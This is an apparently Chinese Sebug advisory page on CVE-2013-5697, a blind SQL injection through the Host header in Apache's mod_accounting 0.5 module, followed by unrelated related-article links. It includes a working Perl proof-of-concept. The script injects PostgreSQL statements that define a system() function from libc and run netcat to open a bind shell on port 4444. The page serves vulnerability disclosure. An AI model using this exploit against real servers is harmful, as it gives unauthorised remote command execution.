Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)
漏洞版本:
mod_accounting 0.5
漏洞描述:
BUGTRAQ ID: 62677
CVE ID: CVE-2013-5697 mod_accounting是Apache 1.3.x上的流量计费模块,该模块使用数据记录流量,支持的数据库类型包括MySQL及PostgreSQL。 mod_accounting 0.5模块在Host报文头中存在SQL注入漏洞,攻击者可利用此漏洞破坏应用,执行未授权数据库操作。该漏洞源于用户提供的HTTP报文头未经过滤即用在查询内。该模块使用了简单的字符串串联来修改已定义查询内的占位符,然后再发送到数据库内。该代码位于mod_accounting.c内。
http://packetstormsecurity.com/files/123408/mod_accounting-0.5-Blind-SQL-Injection.html
http://sebug.net/appdir/Apache
*>
测试方法:
- #!/usr/bin/perl
- # PoC of blind SQL injection in the mod_accounting/0.5 Apache module
- # Injection can occur via the Host header
- # As the injection occurs in a user defined insert statement a bit of trial
- and error is required
- # Database operations occurs asyncronous to page response so timing attacks
- wont work
- # This one is completely blind
- # DB can be mysql or postgres, this PoC only covers postgres
- # PoC executes netcat to listen on port 4444 (requires dba privileges)
- use IO::Socket::INET;
- print"#----------------------------------------------#\n";
- print"| mod_accounting/0.5 PoC exploit by \ () Wireghoul |\n";
- print"| www.justanotherhacker.com |\n";
- print"#----------Command execution via SQLi----------#\n";
- print"[*] Enumerating blind injection vectors:\n";
- my@endings=("'));",'"));',"));","');",'");',");","';",'";',";");
- # These should terminate most insert statements
- #my @endings = ( "');" );
- my $shell ='nc -lnp 4444 -e /bin/sh';
- my $cnt =0;
- my $content ="CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
- '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; SELECT system('$shell');";
- foreach $end (@endings){
- $cnt++;
- my $sock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]")ordie"Unable to
- connect to $ARGV[0]:$ARGV[1]: $!\n";
- my $str ="GET / HTTP/1.1\r\nHost: $ARGV[0]$cnt$end $content --
- \r\n\r\n";# from mysql.user into outfile '/tmp/pocpoc$cnt.txt'; --
- \r\n\r\n";
- print "[-]Trying $end\n";
- print $sock $str;
- #print "Sent $end\n";
- close ($sock);
- }
- print "[*]Done, remote server should have executed $shell\n";
Sebug安全建议:
临时解决方法: 该模块已经不再提供支持,可以根据需要,停止使用该模块。 厂商补丁: mod_accounting
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://sourceforge.net/projects/mod-acct/files/
Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)的更多相关文章
- PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...
- PHPCMS 2008 SQL注入漏洞
漏洞版本: PHPCMS 2008 漏洞描述: escape()方法无法过滤$genre变量进行二次URL编码,导致SQL注入漏洞产生. <* 参考 http://www.yunsec.net/ ...
- WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞
漏洞名称: WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞 CNNVD编号: CNNVD-201310-499 发布时间: 2013-10-23 更新时间: 20 ...
- WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞
漏洞名称: WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞 CNNVD编号: CNNVD-201309-388 发布时间: 2013-09-24 更新 ...
- RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具
无事早上就去逛freebuf看到一款不错的工具,打算介绍给大家 RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具 RED HAWK 最新版本:v1.0.0[2017年6月11日] 下 ...
- Vtiger CRM 几处SQL注入漏洞分析,测试工程师可借鉴
本文由云+社区发表 0x00 前言 干白盒审计有小半年了,大部分是业务上的代码,逻辑的复杂度和功能模块结构都比较简单,干久了收获也就一般,有机会接触一个成熟的产品(vtiger CRM)进行白盒审计, ...
- 手工检测SQL注入漏洞
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...
- SQL 注入漏洞
首先要知道sql注入形成的原因:用户输入的数据被sql解释器执行 sql注入又分:数字型,字符型,cookie 注入,post注入,延时注入,搜索注入,base64注入 如何甄别一个模块是否有sql注 ...
- ThinkCMF X2.2.2多处SQL注入漏洞分析
1. 漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...
随机推荐
- C# 类是怎么执行的?
C# 类是怎么执行的? public class Person{ static person(){} //不写,默认也有个空的 public person(){}//不写,默认也有个空的 public ...
- SQL Server 脚本语句
一.语法结构 select select_list [ into new_table ] from table_source [ where search_condition ] [ group by ...
- 各种排序算法及c语言实现
插入排序O(n^2) 冒泡排序 O(n^2) 选择排序 O(n^2) 快速排序 O(n log n) 堆排序 O(n log n) 归并排序 O(n log n) 希尔排序 O(n^1.25) 1.插 ...
- 学习笔记_过滤器应用_1(分ip统计网站的访问次数)
分ip统计网站的访问次数 ip count 192.168.1.111 2 192.168.1.112 59 统计工作需要在所有资源之前都执行,那么就可以放到Filter中了. 我们这个过滤器不打算做 ...
- 利用switch语句计算特定的年份的月份共有几天。
//利用switch语句计算特定的年份的月份共有几天. let year =2015 let month =2 //先判断闰年中二月份的情况 ifmonth ==2 { if (year %400 = ...
- 这样写JS的方式对吗?
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- Source Insight及常用插件
Source Insight及常用插件 1.Source Insight 2.插件 <1>.使用快捷键注释,单行注释,多行注释,#if 0注释 <2>.跳转到当前文件所在的文件 ...
- 命令行下上传文件到iOS软件 专业文件管理/gplayer
U盘丢了, 就拿手机当U盘用用先. 一般情况下软件打开上传功能, 在浏览器里上传即可. 可是偏偏我的电影放在了 树莓派里面(搭建了一个SMB), 直接浏览器的话,会多占用些带宽, 我的破路由器.... ...
- System V 信号量
1 概述 计数信号量集semid_ds: struct semid_ds { struct ipc_perm sem_perm; struct sem *sem_base; //指向信号量结构数组 u ...
- 九度OJ 1370 数组中出现次数超过一半的数字
题目地址:http://ac.jobdu.com/problem.php?pid=1370 题目描述: 数组中有一个数字出现的次数超过数组长度的一半,请找出这个数字.例如输入一个长度为9的数组{1,2 ...